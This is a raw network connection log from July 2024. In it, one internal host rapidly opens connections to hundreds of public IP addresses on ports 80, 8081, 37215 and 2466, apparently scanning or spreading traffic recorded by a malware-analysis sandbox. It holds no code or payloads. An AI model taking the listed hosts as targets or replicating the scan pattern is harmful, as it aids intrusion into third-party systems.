Jul 20, 2024 23:00:58.661815882 CEST	50565	8081	192.168.2.13	14.217.247.201
Jul 20, 2024 23:00:58.661818981 CEST	80	50568	88.222.100.42	192.168.2.13
Jul 20, 2024 23:00:58.661815882 CEST	50565	8081	192.168.2.13	217.241.134.162
Jul 20, 2024 23:00:58.661815882 CEST	50565	8081	192.168.2.13	46.39.191.49
Jul 20, 2024 23:00:58.661837101 CEST	80	50568	88.133.123.34	192.168.2.13
Jul 20, 2024 23:00:58.661848068 CEST	50568	80	192.168.2.13	88.23.226.239
Jul 20, 2024 23:00:58.661881924 CEST	80	50568	88.253.118.70	192.168.2.13
Jul 20, 2024 23:00:58.661891937 CEST	50568	80	192.168.2.13	88.95.76.231
Jul 20, 2024 23:00:58.661891937 CEST	50568	80	192.168.2.13	88.40.83.143
Jul 20, 2024 23:00:58.661891937 CEST	50568	80	192.168.2.13	88.194.170.76
Jul 20, 2024 23:00:58.661891937 CEST	50568	80	192.168.2.13	88.110.99.36
Jul 20, 2024 23:00:58.661891937 CEST	50568	80	192.168.2.13	88.222.100.42
Jul 20, 2024 23:00:58.661897898 CEST	80	50568	88.221.47.36	192.168.2.13
Jul 20, 2024 23:00:58.661906958 CEST	50568	80	192.168.2.13	88.133.123.34
Jul 20, 2024 23:00:58.661962986 CEST	80	50568	88.39.169.246	192.168.2.13
Jul 20, 2024 23:00:58.661978006 CEST	8081	50565	114.30.42.208	192.168.2.13
Jul 20, 2024 23:00:58.661990881 CEST	80	50568	88.94.123.21	192.168.2.13
Jul 20, 2024 23:00:58.662003994 CEST	80	50568	88.236.216.9	192.168.2.13
Jul 20, 2024 23:00:58.662013054 CEST	50565	8081	192.168.2.13	116.20.21.221
Jul 20, 2024 23:00:58.662013054 CEST	50565	8081	192.168.2.13	144.158.148.160
Jul 20, 2024 23:00:58.662013054 CEST	50565	8081	192.168.2.13	62.0.54.232
Jul 20, 2024 23:00:58.662013054 CEST	50565	8081	192.168.2.13	1.200.179.149
Jul 20, 2024 23:00:58.662013054 CEST	50565	8081	192.168.2.13	180.244.103.212
Jul 20, 2024 23:00:58.662014008 CEST	50565	8081	192.168.2.13	165.105.54.22
Jul 20, 2024 23:00:58.662014008 CEST	50565	8081	192.168.2.13	42.43.78.78
Jul 20, 2024 23:00:58.662014008 CEST	50565	8081	192.168.2.13	126.136.87.253
Jul 20, 2024 23:00:58.662303925 CEST	50568	80	192.168.2.13	88.221.47.36
Jul 20, 2024 23:00:58.662303925 CEST	50568	80	192.168.2.13	88.39.169.246
Jul 20, 2024 23:00:58.662456989 CEST	50565	8081	192.168.2.13	104.121.55.224
Jul 20, 2024 23:00:58.662456989 CEST	50565	8081	192.168.2.13	217.32.72.67
Jul 20, 2024 23:00:58.662456989 CEST	50565	8081	192.168.2.13	86.112.206.20
Jul 20, 2024 23:00:58.662457943 CEST	50565	8081	192.168.2.13	70.115.97.135
Jul 20, 2024 23:00:58.662457943 CEST	50565	8081	192.168.2.13	4.17.149.227
Jul 20, 2024 23:00:58.662457943 CEST	50565	8081	192.168.2.13	180.124.34.41
Jul 20, 2024 23:00:58.662457943 CEST	50565	8081	192.168.2.13	38.137.91.224
Jul 20, 2024 23:00:58.662457943 CEST	50565	8081	192.168.2.13	168.54.33.18
Jul 20, 2024 23:00:58.662470102 CEST	8081	50565	86.142.251.255	192.168.2.13
Jul 20, 2024 23:00:58.662493944 CEST	80	50568	88.43.218.177	192.168.2.13
Jul 20, 2024 23:00:58.662508965 CEST	80	50568	88.96.53.58	192.168.2.13
Jul 20, 2024 23:00:58.662523031 CEST	80	50568	88.79.4.27	192.168.2.13
Jul 20, 2024 23:00:58.662537098 CEST	8081	50565	97.40.0.232	192.168.2.13
Jul 20, 2024 23:00:58.662550926 CEST	80	50568	88.115.207.35	192.168.2.13
Jul 20, 2024 23:00:58.662566900 CEST	80	50568	88.228.22.137	192.168.2.13
Jul 20, 2024 23:00:58.662636995 CEST	50565	8081	192.168.2.13	50.236.129.27
Jul 20, 2024 23:00:58.662636995 CEST	50565	8081	192.168.2.13	117.218.27.54
Jul 20, 2024 23:00:58.662636995 CEST	50565	8081	192.168.2.13	57.174.88.220
Jul 20, 2024 23:00:58.662636995 CEST	50565	8081	192.168.2.13	25.78.168.209
Jul 20, 2024 23:00:58.662636995 CEST	50565	8081	192.168.2.13	219.231.155.96
Jul 20, 2024 23:00:58.662636995 CEST	50565	8081	192.168.2.13	18.16.20.157
Jul 20, 2024 23:00:58.662637949 CEST	50565	8081	192.168.2.13	86.142.251.255
Jul 20, 2024 23:00:58.662775993 CEST	50568	80	192.168.2.13	88.79.4.27
Jul 20, 2024 23:00:58.662796021 CEST	50568	80	192.168.2.13	88.133.183.152
Jul 20, 2024 23:00:58.662796021 CEST	50568	80	192.168.2.13	88.36.60.173
Jul 20, 2024 23:00:58.662796021 CEST	50565	8081	192.168.2.13	96.123.161.185
Jul 20, 2024 23:00:58.662796974 CEST	50565	8081	192.168.2.13	147.255.198.180
Jul 20, 2024 23:00:58.662796974 CEST	50568	80	192.168.2.13	88.180.85.169
Jul 20, 2024 23:00:58.662796974 CEST	50565	8081	192.168.2.13	183.184.247.25
Jul 20, 2024 23:00:58.662796974 CEST	50568	80	192.168.2.13	88.72.206.136
Jul 20, 2024 23:00:58.662796974 CEST	50568	80	192.168.2.13	88.239.130.63
Jul 20, 2024 23:00:58.662895918 CEST	50565	8081	192.168.2.13	65.48.2.108
Jul 20, 2024 23:00:58.662895918 CEST	50565	8081	192.168.2.13	181.172.116.237
Jul 20, 2024 23:00:58.662895918 CEST	50565	8081	192.168.2.13	124.38.177.48
Jul 20, 2024 23:00:58.662895918 CEST	50565	8081	192.168.2.13	190.7.132.46
Jul 20, 2024 23:00:58.662895918 CEST	50565	8081	192.168.2.13	221.122.108.67
Jul 20, 2024 23:00:58.662895918 CEST	50568	80	192.168.2.13	88.245.235.139
Jul 20, 2024 23:00:58.662895918 CEST	50568	80	192.168.2.13	88.119.103.131
Jul 20, 2024 23:00:58.662895918 CEST	50568	80	192.168.2.13	88.187.51.16
Jul 20, 2024 23:00:58.662997007 CEST	50565	8081	192.168.2.13	206.159.6.219
Jul 20, 2024 23:00:58.662997007 CEST	50565	8081	192.168.2.13	69.179.58.224
Jul 20, 2024 23:00:58.662997007 CEST	50565	8081	192.168.2.13	223.200.73.225
Jul 20, 2024 23:00:58.662997007 CEST	50565	8081	192.168.2.13	199.254.182.224
Jul 20, 2024 23:00:58.662997007 CEST	50565	8081	192.168.2.13	14.18.228.142
Jul 20, 2024 23:00:58.662997007 CEST	50565	8081	192.168.2.13	20.214.196.103
Jul 20, 2024 23:00:58.662997007 CEST	50565	8081	192.168.2.13	132.60.84.254
Jul 20, 2024 23:00:58.662997007 CEST	50568	80	192.168.2.13	88.92.124.171
Jul 20, 2024 23:00:58.663069010 CEST	50565	8081	192.168.2.13	47.19.229.1
Jul 20, 2024 23:00:58.663069010 CEST	50565	8081	192.168.2.13	52.155.53.16
Jul 20, 2024 23:00:58.663069010 CEST	50565	8081	192.168.2.13	40.239.242.238
Jul 20, 2024 23:00:58.663069010 CEST	50565	8081	192.168.2.13	61.179.178.158
Jul 20, 2024 23:00:58.663069010 CEST	50565	8081	192.168.2.13	209.194.43.67
Jul 20, 2024 23:00:58.663069010 CEST	50565	8081	192.168.2.13	143.208.156.220
Jul 20, 2024 23:00:58.663069010 CEST	50565	8081	192.168.2.13	114.30.42.208
Jul 20, 2024 23:00:58.663069010 CEST	50565	8081	192.168.2.13	97.40.0.232
Jul 20, 2024 23:00:58.663419008 CEST	50568	80	192.168.2.13	88.45.43.209
Jul 20, 2024 23:00:58.663419008 CEST	50568	80	192.168.2.13	88.172.217.29
Jul 20, 2024 23:00:58.663419008 CEST	50568	80	192.168.2.13	88.98.35.150
Jul 20, 2024 23:00:58.663419008 CEST	50568	80	192.168.2.13	88.174.194.255
Jul 20, 2024 23:00:58.663419008 CEST	50568	80	192.168.2.13	88.81.46.197
Jul 20, 2024 23:00:58.663419008 CEST	50568	80	192.168.2.13	88.21.5.183
Jul 20, 2024 23:00:58.663419008 CEST	50568	80	192.168.2.13	88.186.144.61
Jul 20, 2024 23:00:58.663506985 CEST	50568	80	192.168.2.13	88.43.218.177
Jul 20, 2024 23:00:58.663506985 CEST	50568	80	192.168.2.13	88.96.53.58
Jul 20, 2024 23:00:58.663506985 CEST	50568	80	192.168.2.13	88.115.207.35
Jul 20, 2024 23:00:58.663711071 CEST	50565	8081	192.168.2.13	14.18.87.181
Jul 20, 2024 23:00:58.663711071 CEST	50565	8081	192.168.2.13	125.119.2.235
Jul 20, 2024 23:00:58.663711071 CEST	50565	8081	192.168.2.13	43.249.64.134
Jul 20, 2024 23:00:58.663711071 CEST	50565	8081	192.168.2.13	73.19.20.50
Jul 20, 2024 23:00:58.663711071 CEST	50565	8081	192.168.2.13	45.78.64.179
Jul 20, 2024 23:00:58.663711071 CEST	50565	8081	192.168.2.13	151.241.150.207
Jul 20, 2024 23:00:58.663711071 CEST	50565	8081	192.168.2.13	150.107.212.251
Jul 20, 2024 23:00:58.663746119 CEST	50568	80	192.168.2.13	88.117.222.91
Jul 20, 2024 23:00:58.663746119 CEST	50568	80	192.168.2.13	88.253.118.70
Jul 20, 2024 23:00:58.663746119 CEST	50568	80	192.168.2.13	88.94.123.21
Jul 20, 2024 23:00:58.663747072 CEST	50568	80	192.168.2.13	88.228.22.137
Jul 20, 2024 23:00:58.663847923 CEST	8081	50565	222.202.244.141	192.168.2.13
Jul 20, 2024 23:00:58.663885117 CEST	50565	8081	192.168.2.13	222.202.244.141
Jul 20, 2024 23:00:58.663917065 CEST	50568	80	192.168.2.13	88.130.132.206
Jul 20, 2024 23:00:58.663917065 CEST	50568	80	192.168.2.13	88.31.145.92
Jul 20, 2024 23:00:58.663917065 CEST	50568	80	192.168.2.13	88.168.133.200
Jul 20, 2024 23:00:58.663918018 CEST	50568	80	192.168.2.13	88.204.108.175
Jul 20, 2024 23:00:58.663918018 CEST	50568	80	192.168.2.13	88.214.91.164
Jul 20, 2024 23:00:58.663918018 CEST	50568	80	192.168.2.13	88.236.216.9
Jul 20, 2024 23:00:58.663963079 CEST	80	50568	88.185.231.90	192.168.2.13
Jul 20, 2024 23:00:58.663990021 CEST	80	50568	88.187.27.29	192.168.2.13
Jul 20, 2024 23:00:58.664004087 CEST	80	50568	88.66.15.119	192.168.2.13
Jul 20, 2024 23:00:58.664020061 CEST	80	50568	88.211.244.89	192.168.2.13
Jul 20, 2024 23:00:58.664026976 CEST	50568	80	192.168.2.13	88.185.231.90
Jul 20, 2024 23:00:58.664028883 CEST	50568	80	192.168.2.13	88.187.27.29
Jul 20, 2024 23:00:58.664043903 CEST	50568	80	192.168.2.13	88.66.15.119
Jul 20, 2024 23:00:58.664046049 CEST	50565	8081	192.168.2.13	118.206.223.154
Jul 20, 2024 23:00:58.664058924 CEST	50568	80	192.168.2.13	88.211.244.89
Jul 20, 2024 23:00:58.664155006 CEST	80	50568	88.144.40.138	192.168.2.13
Jul 20, 2024 23:00:58.664196968 CEST	50568	80	192.168.2.13	88.144.40.138
Jul 20, 2024 23:00:58.664521933 CEST	8081	50565	124.242.223.36	192.168.2.13
Jul 20, 2024 23:00:58.664537907 CEST	80	50568	88.80.24.110	192.168.2.13
Jul 20, 2024 23:00:58.664551020 CEST	80	50568	88.173.152.171	192.168.2.13
Jul 20, 2024 23:00:58.664562941 CEST	50565	8081	192.168.2.13	124.242.223.36
Jul 20, 2024 23:00:58.664578915 CEST	50568	80	192.168.2.13	88.80.24.110
Jul 20, 2024 23:00:58.664581060 CEST	80	50568	88.54.237.23	192.168.2.13
Jul 20, 2024 23:00:58.664594889 CEST	80	50568	88.158.140.2	192.168.2.13
Jul 20, 2024 23:00:58.664602041 CEST	50568	80	192.168.2.13	88.173.152.171
Jul 20, 2024 23:00:58.664608002 CEST	80	50568	88.70.121.12	192.168.2.13
Jul 20, 2024 23:00:58.664616108 CEST	50568	80	192.168.2.13	88.54.237.23
Jul 20, 2024 23:00:58.664638042 CEST	50568	80	192.168.2.13	88.158.140.2
Jul 20, 2024 23:00:58.664658070 CEST	50568	80	192.168.2.13	88.70.121.12
Jul 20, 2024 23:00:58.664849997 CEST	80	50568	88.223.167.102	192.168.2.13
Jul 20, 2024 23:00:58.664865017 CEST	80	50568	88.82.156.71	192.168.2.13
Jul 20, 2024 23:00:58.664877892 CEST	80	50568	88.156.231.246	192.168.2.13
Jul 20, 2024 23:00:58.664890051 CEST	50568	80	192.168.2.13	88.223.167.102
Jul 20, 2024 23:00:58.664901972 CEST	50568	80	192.168.2.13	88.82.156.71
Jul 20, 2024 23:00:58.664911032 CEST	50568	80	192.168.2.13	88.156.231.246
Jul 20, 2024 23:00:58.664935112 CEST	8081	50565	12.244.150.123	192.168.2.13
Jul 20, 2024 23:00:58.664949894 CEST	80	50568	88.103.185.103	192.168.2.13
Jul 20, 2024 23:00:58.664963007 CEST	80	50568	88.60.133.30	192.168.2.13
Jul 20, 2024 23:00:58.664977074 CEST	8081	50565	171.53.229.160	192.168.2.13
Jul 20, 2024 23:00:58.664980888 CEST	50565	8081	192.168.2.13	12.244.150.123
Jul 20, 2024 23:00:58.664985895 CEST	50568	80	192.168.2.13	88.60.133.30
Jul 20, 2024 23:00:58.664987087 CEST	50568	80	192.168.2.13	88.103.185.103
Jul 20, 2024 23:00:58.665004015 CEST	50565	8081	192.168.2.13	171.53.229.160
Jul 20, 2024 23:00:58.665210009 CEST	80	50568	88.76.12.228	192.168.2.13
Jul 20, 2024 23:00:58.665224075 CEST	80	50568	88.223.170.102	192.168.2.13
Jul 20, 2024 23:00:58.665236950 CEST	80	50568	88.73.50.91	192.168.2.13
Jul 20, 2024 23:00:58.665247917 CEST	50568	80	192.168.2.13	88.76.12.228
Jul 20, 2024 23:00:58.665267944 CEST	50568	80	192.168.2.13	88.223.170.102
Jul 20, 2024 23:00:58.665276051 CEST	50568	80	192.168.2.13	88.73.50.91
Jul 20, 2024 23:00:58.665288925 CEST	8081	50565	111.245.190.224	192.168.2.13
Jul 20, 2024 23:00:58.665321112 CEST	80	50568	88.248.32.197	192.168.2.13
Jul 20, 2024 23:00:58.665328979 CEST	50565	8081	192.168.2.13	111.245.190.224
Jul 20, 2024 23:00:58.665334940 CEST	80	50568	88.161.242.84	192.168.2.13
Jul 20, 2024 23:00:58.665358067 CEST	50568	80	192.168.2.13	88.248.32.197
Jul 20, 2024 23:00:58.665370941 CEST	50568	80	192.168.2.13	88.161.242.84
Jul 20, 2024 23:00:58.665374994 CEST	8081	50565	139.249.15.203	192.168.2.13
Jul 20, 2024 23:00:58.665411949 CEST	50565	8081	192.168.2.13	139.249.15.203
Jul 20, 2024 23:00:58.665560961 CEST	80	50568	88.117.62.222	192.168.2.13
Jul 20, 2024 23:00:58.665589094 CEST	80	50568	88.53.69.157	192.168.2.13
Jul 20, 2024 23:00:58.665616035 CEST	50568	80	192.168.2.13	88.117.62.222
Jul 20, 2024 23:00:58.665647984 CEST	8081	50565	36.220.242.131	192.168.2.13
Jul 20, 2024 23:00:58.665652990 CEST	50568	80	192.168.2.13	88.53.69.157
Jul 20, 2024 23:00:58.665683031 CEST	50565	8081	192.168.2.13	36.220.242.131
Jul 20, 2024 23:00:58.665762901 CEST	8081	50565	98.191.42.176	192.168.2.13
Jul 20, 2024 23:00:58.665800095 CEST	50565	8081	192.168.2.13	98.191.42.176
Jul 20, 2024 23:00:58.666079998 CEST	8081	50565	169.254.7.45	192.168.2.13
Jul 20, 2024 23:00:58.666167974 CEST	50565	8081	192.168.2.13	169.254.7.45
Jul 20, 2024 23:00:58.666301966 CEST	8081	50565	89.91.28.184	192.168.2.13
Jul 20, 2024 23:00:58.666316986 CEST	80	50568	88.254.88.189	192.168.2.13
Jul 20, 2024 23:00:58.666342020 CEST	50565	8081	192.168.2.13	89.91.28.184
Jul 20, 2024 23:00:58.666596889 CEST	50568	80	192.168.2.13	88.254.88.189
Jul 20, 2024 23:00:58.666644096 CEST	8081	50565	92.106.202.141	192.168.2.13
Jul 20, 2024 23:00:58.666682959 CEST	50565	8081	192.168.2.13	92.106.202.141
Jul 20, 2024 23:00:58.666696072 CEST	80	50568	88.137.14.69	192.168.2.13
Jul 20, 2024 23:00:58.666735888 CEST	50568	80	192.168.2.13	88.137.14.69
Jul 20, 2024 23:00:58.667159081 CEST	80	50568	88.233.65.58	192.168.2.13
Jul 20, 2024 23:00:58.667203903 CEST	50568	80	192.168.2.13	88.233.65.58
Jul 20, 2024 23:00:58.668015957 CEST	8081	50565	99.213.240.76	192.168.2.13
Jul 20, 2024 23:00:58.668060064 CEST	50565	8081	192.168.2.13	99.213.240.76
Jul 20, 2024 23:00:58.668076038 CEST	8081	50565	96.123.161.185	192.168.2.13
Jul 20, 2024 23:00:58.668113947 CEST	50565	8081	192.168.2.13	96.123.161.185
Jul 20, 2024 23:00:58.668205976 CEST	8081	50565	147.255.198.180	192.168.2.13
Jul 20, 2024 23:00:58.668246984 CEST	50565	8081	192.168.2.13	147.255.198.180
Jul 20, 2024 23:00:58.668775082 CEST	8081	50565	183.184.247.25	192.168.2.13
Jul 20, 2024 23:00:58.668790102 CEST	80	50568	88.239.130.63	192.168.2.13
Jul 20, 2024 23:00:58.668803930 CEST	80	50568	88.98.35.150	192.168.2.13
Jul 20, 2024 23:00:58.668823004 CEST	50565	8081	192.168.2.13	183.184.247.25
Jul 20, 2024 23:00:58.668823004 CEST	50568	80	192.168.2.13	88.239.130.63
Jul 20, 2024 23:00:58.668843985 CEST	50568	80	192.168.2.13	88.98.35.150
Jul 20, 2024 23:00:58.668973923 CEST	80	50568	88.174.194.255	192.168.2.13
Jul 20, 2024 23:00:58.668989897 CEST	80	50568	88.81.46.197	192.168.2.13
Jul 20, 2024 23:00:58.669004917 CEST	80	50568	88.21.5.183	192.168.2.13
Jul 20, 2024 23:00:58.669013977 CEST	50568	80	192.168.2.13	88.174.194.255
Jul 20, 2024 23:00:58.669013977 CEST	50568	80	192.168.2.13	88.81.46.197
Jul 20, 2024 23:00:58.669029951 CEST	80	50568	88.186.144.61	192.168.2.13
Jul 20, 2024 23:00:58.669055939 CEST	50568	80	192.168.2.13	88.21.5.183
Jul 20, 2024 23:00:58.669138908 CEST	50568	80	192.168.2.13	88.186.144.61
Jul 20, 2024 23:00:58.669544935 CEST	53098	2466	192.168.2.13	15.235.203.214
Jul 20, 2024 23:00:58.670509100 CEST	50230	80	192.168.2.13	88.91.21.190
Jul 20, 2024 23:00:58.672055960 CEST	52992	37215	192.168.2.13	212.19.225.186
Jul 20, 2024 23:00:58.674304962 CEST	44802	37215	192.168.2.13	194.65.196.65
Jul 20, 2024 23:00:58.674482107 CEST	2466	53098	15.235.203.214	192.168.2.13
Jul 20, 2024 23:00:58.674545050 CEST	53098	2466	192.168.2.13	15.235.203.214
Jul 20, 2024 23:00:58.675465107 CEST	80	50230	88.91.21.190	192.168.2.13
Jul 20, 2024 23:00:58.675508976 CEST	50230	80	192.168.2.13	88.91.21.190
Jul 20, 2024 23:00:58.675600052 CEST	43964	80	192.168.2.13	88.76.214.90
Jul 20, 2024 23:00:58.676814079 CEST	51224	37215	192.168.2.13	157.200.98.141
Jul 20, 2024 23:00:58.677396059 CEST	53098	2466	192.168.2.13	15.235.203.214
Jul 20, 2024 23:00:58.677448034 CEST	37215	52992	212.19.225.186	192.168.2.13
Jul 20, 2024 23:00:58.677521944 CEST	52992	37215	192.168.2.13	212.19.225.186
Jul 20, 2024 23:00:58.678680897 CEST	39322	37215	192.168.2.13	197.234.38.242
Jul 20, 2024 23:00:58.679430008 CEST	37215	44802	194.65.196.65	192.168.2.13
Jul 20, 2024 23:00:58.679476976 CEST	44802	37215	192.168.2.13	194.65.196.65
Jul 20, 2024 23:00:58.680051088 CEST	45364	80	192.168.2.13	88.103.153.43
Jul 20, 2024 23:00:58.680598021 CEST	80	43964	88.76.214.90	192.168.2.13
Jul 20, 2024 23:00:58.680670977 CEST	43964	80	192.168.2.13	88.76.214.90
Jul 20, 2024 23:00:58.683456898 CEST	37215	51224	157.200.98.141	192.168.2.13
Jul 20, 2024 23:00:58.684192896 CEST	45044	37215	192.168.2.13	159.247.186.213
Jul 20, 2024 23:00:58.685343981 CEST	2466	53098	15.235.203.214	192.168.2.13
Jul 20, 2024 23:00:58.685393095 CEST	37215	39322	197.234.38.242	192.168.2.13
Jul 20, 2024 23:00:58.685486078 CEST	80	45364	88.103.153.43	192.168.2.13
Jul 20, 2024 23:00:58.687521935 CEST	39322	37215	192.168.2.13	197.234.38.242
Jul 20, 2024 23:00:58.691571951 CEST	37215	45044	159.247.186.213	192.168.2.13
Jul 20, 2024 23:00:58.700742006 CEST	51224	37215	192.168.2.13	157.200.98.141
Jul 20, 2024 23:00:58.705009937 CEST	45044	37215	192.168.2.13	159.247.186.213
Jul 20, 2024 23:00:58.708556890 CEST	45364	80	192.168.2.13	88.103.153.43
Jul 20, 2024 23:00:58.716691971 CEST	51784	37215	192.168.2.13	109.174.172.219
Jul 20, 2024 23:00:58.716844082 CEST	34890	80	192.168.2.13	88.236.162.163
Jul 20, 2024 23:00:58.717684984 CEST	57984	37215	192.168.2.13	157.154.83.107
Jul 20, 2024 23:00:58.719456911 CEST	39572	37215	192.168.2.13	197.64.178.193
Jul 20, 2024 23:00:58.720839977 CEST	49166	80	192.168.2.13	88.248.146.190
Jul 20, 2024 23:00:58.721574068 CEST	38898	37215	192.168.2.13	104.8.73.49
Jul 20, 2024 23:00:58.721735954 CEST	80	34890	88.236.162.163	192.168.2.13
Jul 20, 2024 23:00:58.721759081 CEST	37215	51784	109.174.172.219	192.168.2.13
Jul 20, 2024 23:00:58.721901894 CEST	51784	37215	192.168.2.13	109.174.172.219
Jul 20, 2024 23:00:58.721993923 CEST	34890	80	192.168.2.13	88.236.162.163
Jul 20, 2024 23:00:58.722755909 CEST	37215	57984	157.154.83.107	192.168.2.13
Jul 20, 2024 23:00:58.722933054 CEST	57984	37215	192.168.2.13	157.154.83.107
Jul 20, 2024 23:00:58.723254919 CEST	51480	37215	192.168.2.13	124.38.65.99
Jul 20, 2024 23:00:58.724350929 CEST	37215	39572	197.64.178.193	192.168.2.13
Jul 20, 2024 23:00:58.724440098 CEST	39572	37215	192.168.2.13	197.64.178.193
Jul 20, 2024 23:00:58.724467039 CEST	44784	80	192.168.2.13	88.114.68.157
Jul 20, 2024 23:00:58.725528955 CEST	35076	37215	192.168.2.13	41.201.10.23
Jul 20, 2024 23:00:58.726190090 CEST	80	49166	88.248.146.190	192.168.2.13
Jul 20, 2024 23:00:58.726234913 CEST	49166	80	192.168.2.13	88.248.146.190
Jul 20, 2024 23:00:58.726579905 CEST	37215	38898	104.8.73.49	192.168.2.13
Jul 20, 2024 23:00:58.726628065 CEST	38898	37215	192.168.2.13	104.8.73.49
Jul 20, 2024 23:00:58.727355957 CEST	49448	37215	192.168.2.13	157.34.28.229
Jul 20, 2024 23:00:58.728460073 CEST	53362	80	192.168.2.13	88.124.234.147
Jul 20, 2024 23:00:58.729356050 CEST	40932	37215	192.168.2.13	157.249.112.126
Jul 20, 2024 23:00:58.730082035 CEST	37215	51480	124.38.65.99	192.168.2.13
Jul 20, 2024 23:00:58.730142117 CEST	80	44784	88.114.68.157	192.168.2.13
Jul 20, 2024 23:00:58.730165958 CEST	51480	37215	192.168.2.13	124.38.65.99
Jul 20, 2024 23:00:58.730189085 CEST	44784	80	192.168.2.13	88.114.68.157
Jul 20, 2024 23:00:58.730360031 CEST	37215	35076	41.201.10.23	192.168.2.13
Jul 20, 2024 23:00:58.730406046 CEST	35076	37215	192.168.2.13	41.201.10.23
Jul 20, 2024 23:00:58.730984926 CEST	36346	37215	192.168.2.13	157.62.193.172
Jul 20, 2024 23:00:58.732100964 CEST	44884	80	192.168.2.13	88.86.157.38
Jul 20, 2024 23:00:58.732275963 CEST	37215	49448	157.34.28.229	192.168.2.13
Jul 20, 2024 23:00:58.732325077 CEST	49448	37215	192.168.2.13	157.34.28.229
Jul 20, 2024 23:00:58.732846975 CEST	53188	37215	192.168.2.13	157.34.92.241
Jul 20, 2024 23:00:58.733345032 CEST	80	53362	88.124.234.147	192.168.2.13
Jul 20, 2024 23:00:58.733395100 CEST	53362	80	192.168.2.13	88.124.234.147
Jul 20, 2024 23:00:58.734231949 CEST	37215	40932	157.249.112.126	192.168.2.13
Jul 20, 2024 23:00:58.734273911 CEST	40932	37215	192.168.2.13	157.249.112.126
Jul 20, 2024 23:00:58.734447956 CEST	55082	37215	192.168.2.13	157.134.72.2
Jul 20, 2024 23:00:58.735687017 CEST	34088	80	192.168.2.13	88.94.186.220
Jul 20, 2024 23:00:58.736296892 CEST	42210	37215	192.168.2.13	197.130.190.85
Jul 20, 2024 23:00:58.736857891 CEST	37215	36346	157.62.193.172	192.168.2.13
Jul 20, 2024 23:00:58.736916065 CEST	36346	37215	192.168.2.13	157.62.193.172
Jul 20, 2024 23:00:58.736984015 CEST	80	44884	88.86.157.38	192.168.2.13
Jul 20, 2024 23:00:58.737035990 CEST	44884	80	192.168.2.13	88.86.157.38
Jul 20, 2024 23:00:58.737895012 CEST	56530	37215	192.168.2.13	157.178.20.242
Jul 20, 2024 23:00:58.738070965 CEST	37215	53188	157.34.92.241	192.168.2.13
Jul 20, 2024 23:00:58.738118887 CEST	53188	37215	192.168.2.13	157.34.92.241
Jul 20, 2024 23:00:58.738965034 CEST	56542	80	192.168.2.13	88.50.180.63
Jul 20, 2024 23:00:58.739754915 CEST	35902	37215	192.168.2.13	41.128.69.214
Jul 20, 2024 23:00:58.739815950 CEST	37215	55082	157.134.72.2	192.168.2.13
Jul 20, 2024 23:00:58.739867926 CEST	55082	37215	192.168.2.13	157.134.72.2
Jul 20, 2024 23:00:58.740564108 CEST	80	34088	88.94.186.220	192.168.2.13
Jul 20, 2024 23:00:58.740638971 CEST	34088	80	192.168.2.13	88.94.186.220
Jul 20, 2024 23:00:58.741261959 CEST	37215	42210	197.130.190.85	192.168.2.13
Jul 20, 2024 23:00:58.741306067 CEST	42210	37215	192.168.2.13	197.130.190.85
Jul 20, 2024 23:00:58.741334915 CEST	37720	37215	192.168.2.13	41.17.9.128
Jul 20, 2024 23:00:58.742425919 CEST	55498	80	192.168.2.13	88.124.135.162
Jul 20, 2024 23:00:58.742697001 CEST	37215	56530	157.178.20.242	192.168.2.13
Jul 20, 2024 23:00:58.742741108 CEST	56530	37215	192.168.2.13	157.178.20.242
Jul 20, 2024 23:00:58.743220091 CEST	38858	37215	192.168.2.13	41.209.60.208
Jul 20, 2024 23:00:58.743894100 CEST	80	56542	88.50.180.63	192.168.2.13
Jul 20, 2024 23:00:58.743936062 CEST	56542	80	192.168.2.13	88.50.180.63
Jul 20, 2024 23:00:58.744833946 CEST	34008	37215	192.168.2.13	197.39.121.171
Jul 20, 2024 23:00:58.744893074 CEST	37215	35902	41.128.69.214	192.168.2.13
Jul 20, 2024 23:00:58.744946003 CEST	35902	37215	192.168.2.13	41.128.69.214
Jul 20, 2024 23:00:58.745929956 CEST	49414	80	192.168.2.13	88.243.42.220
Jul 20, 2024 23:00:58.746323109 CEST	37215	37720	41.17.9.128	192.168.2.13
Jul 20, 2024 23:00:58.746364117 CEST	37720	37215	192.168.2.13	41.17.9.128
Jul 20, 2024 23:00:58.746718884 CEST	44962	37215	192.168.2.13	197.6.247.149
Jul 20, 2024 23:00:58.747508049 CEST	80	55498	88.124.135.162	192.168.2.13
Jul 20, 2024 23:00:58.747560978 CEST	55498	80	192.168.2.13	88.124.135.162
Jul 20, 2024 23:00:58.748090982 CEST	37215	38858	41.209.60.208	192.168.2.13
Jul 20, 2024 23:00:58.748146057 CEST	38858	37215	192.168.2.13	41.209.60.208
Jul 20, 2024 23:00:58.748272896 CEST	42776	37215	192.168.2.13	197.245.35.233
Jul 20, 2024 23:00:58.749371052 CEST	34234	80	192.168.2.13	88.3.114.76
Jul 20, 2024 23:00:58.749741077 CEST	37215	34008	197.39.121.171	192.168.2.13
Jul 20, 2024 23:00:58.749788046 CEST	34008	37215	192.168.2.13	197.39.121.171
Jul 20, 2024 23:00:58.750077009 CEST	44316	37215	192.168.2.13	197.21.88.67
Jul 20, 2024 23:00:58.750926018 CEST	80	49414	88.243.42.220	192.168.2.13
Jul 20, 2024 23:00:58.751007080 CEST	49414	80	192.168.2.13	88.243.42.220
Jul 20, 2024 23:00:58.751616955 CEST	37215	44962	197.6.247.149	192.168.2.13
Jul 20, 2024 23:00:58.751686096 CEST	40876	37215	192.168.2.13	157.40.102.40
Jul 20, 2024 23:00:58.751693964 CEST	44962	37215	192.168.2.13	197.6.247.149
Jul 20, 2024 23:00:58.752810001 CEST	38744	80	192.168.2.13	88.182.133.26
Jul 20, 2024 23:00:58.753175974 CEST	37215	42776	197.245.35.233	192.168.2.13
Jul 20, 2024 23:00:58.753240108 CEST	42776	37215	192.168.2.13	197.245.35.233
Jul 20, 2024 23:00:58.753612041 CEST	50918	37215	192.168.2.13	157.245.110.242
Jul 20, 2024 23:00:58.754420996 CEST	80	34234	88.3.114.76	192.168.2.13
Jul 20, 2024 23:00:58.754595995 CEST	34234	80	192.168.2.13	88.3.114.76
Jul 20, 2024 23:00:58.755007982 CEST	37215	44316	197.21.88.67	192.168.2.13
Jul 20, 2024 23:00:58.755080938 CEST	44316	37215	192.168.2.13	197.21.88.67
Jul 20, 2024 23:00:58.755307913 CEST	44478	37215	192.168.2.13	41.185.235.4
Jul 20, 2024 23:00:58.756510019 CEST	51374	80	192.168.2.13	88.229.144.100
Jul 20, 2024 23:00:58.756644011 CEST	37215	40876	157.40.102.40	192.168.2.13
Jul 20, 2024 23:00:58.756700039 CEST	40876	37215	192.168.2.13	157.40.102.40
